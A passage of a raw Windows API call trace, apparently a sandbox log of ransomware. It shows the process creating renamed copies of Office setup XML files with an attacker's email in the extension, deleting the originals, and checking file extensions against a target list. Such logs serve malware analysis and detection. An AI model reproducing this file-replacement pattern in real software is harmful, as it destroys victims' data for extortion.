dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.730] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0050.741] GetLastError () returned 0x0 [0050.741] ReadFile (in: hFile=0x208, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x75e, lpOverlapped=0x0) returned 1 [0051.004] WriteFile (in: hFile=0x1e8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x760, lpOverlapped=0x0) returned 1 [0051.006] ReadFile (in: hFile=0x208, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.008] WriteFile (in: hFile=0x1e8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.009] SetEndOfFile (hFile=0x1e8) returned 1 [0051.009] CloseHandle (hObject=0x1e8) returned 1 [0051.010] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.010] SetEndOfFile (hFile=0x208) returned 1 [0051.011] CloseHandle (hObject=0x208) returned 1 [0051.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.012] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0051.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0051.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0051.012] lstrlenW (lpString=".doc") returned 4 [0051.012] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.012] lstrlenW (lpString=".docx") returned 5 [0051.012] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.012] lstrlenW (lpString=".pdf") returned 4 [0051.012] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.012] lstrlenW (lpString=".xls") returned 4 [0051.012] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.012] lstrlenW (lpString=".xlsx") returned 5 [0051.012] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.012] lstrlenW (lpString=".ppt") returned 4 [0051.012] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0051.013] lstrlenW (lpString=".zip") returned 4 [0051.013] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.013] lstrlenW (lpString=".rar") returned 4 [0051.013] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.013] lstrlenW (lpString=".bz2") returned 4 [0051.013] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.013] lstrlenW (lpString=".7z") returned 3 [0051.013] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0051.013] lstrlenW (lpString=".dbf") returned 4 [0051.013] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0051.013] lstrlenW (lpString=".1cd") returned 4 [0051.013] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0051.013] lstrlenW (lpString=".jpg") returned 4 [0051.013] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0051.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0051.013] lstrlenW (lpString=".doc") returned 4 [0051.013] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.013] lstrlenW (lpString=".docx") returned 5 [0051.013] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.013] lstrlenW (lpString=".pdf") returned 4 [0051.013] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.014] lstrlenW (lpString=".xls") returned 4 [0051.014] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.014] lstrlenW (lpString=".xlsx") returned 5 [0051.014] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.014] lstrlenW (lpString=".ppt") returned 4 [0051.014] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0051.014] lstrlenW (lpString=".zip") returned 4 [0051.014] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.014] lstrlenW (lpString=".rar") returned 4 [0051.014] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.014] lstrlenW (lpString=".bz2") returned 4 [0051.014] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.014] lstrlenW (lpString=".7z") returned 3 [0051.014] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0051.014] lstrlenW (lpString=".dbf") returned 4 [0051.014] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0051.014] lstrlenW (lpString=".1cd") returned 4 [0051.014] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0051.014] lstrlenW (lpString=".jpg") returned 4 [0051.014] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.015] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.015] lstrlenW (lpString="Proof.XML") returned 9 [0051.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.015] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=1347) returned 1 [0051.015] CloseHandle (hObject=0x208) returned 1 [0051.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0051.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.016] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.016] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.016] GetLastError () returned 0x0 [0051.016] ReadFile (in: hFile=0x208, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x543, lpOverlapped=0x0) returned 1 [0051.122] WriteFile (in: hFile=0x1e8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x550, lpOverlapped=0x0) returned 1 [0051.122] ReadFile (in: hFile=0x208, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.123] WriteFile (in: hFile=0x1e8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.123] SetEndOfFile (hFile=0x1e8) returned 1 [0051.123] CloseHandle (hObject=0x1e8) returned 1 [0051.124] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.124] SetEndOfFile (hFile=0x208) returned 1 [0051.125] CloseHandle (hObject=0x208) returned 1 [0051.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.125] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0051.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0051.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0051.126] lstrlenW (lpString=".doc") returned 4 [0051.126] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.126] lstrlenW (lpString=".docx") returned 5 [0051.126] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0051.126] lstrlenW (lpString=".pdf") returned 4 [0051.126] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.126] lstrlenW (lpString=".xls") returned 4 [0051.126] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.126] lstrlenW (lpString=".xlsx") returned 5 [0051.126] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0051.126] lstrlenW (lpString=".ppt") returned 4 [0051.126] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0051.126] lstrlenW (lpString=".zip") returned 4 [0051.126] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.126] lstrlenW (lpString=".rar") returned 4 [0051.126] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.126] lstrlenW (lpString=".bz2") returned 4 [0051.126] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.126] lstrlenW (lpString=".7z") returned 3 [0051.126] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0051.126] lstrlenW (lpString=".dbf") returned 4 [0051.126] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0051.126] lstrlenW (lpString=".1cd") returned 4 [0051.126] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0051.127] lstrlenW (lpString=".jpg") returned 4 [0051.127] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0051.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0051.127] lstrlenW (lpString=".doc") returned 4 [0051.127] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.127] lstrlenW (lpString=".docx") returned 5 [0051.127] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0051.127] lstrlenW (lpString=".pdf") returned 4 [0051.127] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.127] lstrlenW (lpString=".xls") returned 4 [0051.127] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.127] lstrlenW (lpString=".xlsx") returned 5 [0051.127] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0051.127] lstrlenW (lpString=".ppt") returned 4 [0051.127] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0051.127] lstrlenW (lpString=".zip") returned 4 [0051.127] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.127] lstrlenW (lpString=".rar") returned 4 [0051.127] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.127] lstrlenW (lpString=".bz2") returned 4 [0051.127] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.127] lstrlenW (lpString=".7z") returned 3 [0051.127] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0051.127] lstrlenW (lpString=".dbf") returned 4 [0051.127] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0051.128] lstrlenW (lpString=".1cd") returned 4 [0051.128] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0051.128] lstrlenW (lpString=".jpg") returned 4 [0051.128] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.128] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.128] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0051.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.171] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=16852) returned 1 [0051.172] CloseHandle (hObject=0x20c) returned 1 [0051.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0051.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.172] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.172] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.173] GetLastError () returned 0x0 [0051.173] ReadFile (in: hFile=0x20c, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0051.414] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0051.416] ReadFile (in: hFile=0x20c, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.416] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0051.416] SetEndOfFile (hFile=0x1fc) returned 1 [0051.416] CloseHandle (hObject=0x1fc) returned 1 [0051.485] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.485] SetEndOfFile (hFile=0x20c) returned 1 [0051.486] CloseHandle (hObject=0x20c) returned 1 [0051.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.486] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0051.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0051.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0051.487] lstrlenW (lpString=".doc") returned 4 [0051.487] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.487] lstrlenW (lpString=".docx") returned 5 [0051.487] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0051.487] lstrlenW (lpString=".pdf") returned 4 [0051.487] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.487] lstrlenW (lpString=".xls") returned 4 [0051.487] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.487] lstrlenW (lpString=".xlsx") returned 5 [0051.487] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0051.487] lstrlenW (lpString=".ppt") returned 4 [0051.487] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0051.487] lstrlenW (lpString=".zip") returned 4 [0051.487] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.487] lstrlenW (lpString=".rar") returned 4 [0051.487] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.487] lstrlenW (lpString=".bz2") returned 4 [0051.488] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.488] lstrlenW (lpString=".7z") returned 3 [0051.488] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0051.488] lstrlenW (lpString=".dbf") returned 4 [0051.488] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0051.488] lstrlenW (lpString=".1cd") returned 4 [0051.488] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0051.488] lstrlenW (lpString=".jpg") returned 4 [0051.488] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0051.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0051.488] lstrlenW (lpString=".doc") returned 4 [0051.488] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.488] lstrlenW (lpString=".docx") returned 5 [0051.488] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0051.489] lstrlenW (lpString=".pdf") returned 4 [0051.489] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.489] lstrlenW (lpString=".xls") returned 4 [0051.489] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.489] lstrlenW (lpString=".xlsx") returned 5 [0051.489] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0051.490] lstrlenW (lpString=".ppt") returned 4 [0051.490] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0051.490] lstrlenW (lpString=".zip") returned 4 [0051.490] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.490] lstrlenW (lpString=".rar") returned 4 [0051.490] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.490] lstrlenW (lpString=".bz2") returned 4 [0051.490] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.490] lstrlenW (lpString=".7z") returned 3 [0051.490] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0051.490] lstrlenW (lpString=".dbf") returned 4 [0051.490] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0051.490] lstrlenW (lpString=".1cd") returned 4 [0051.490] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0051.490] lstrlenW (lpString=".jpg") returned 4 [0051.490] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.490] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.491] lstrlenW (lpString="VisioMUI.XML") returned 12 [0051.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.792] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=9503) 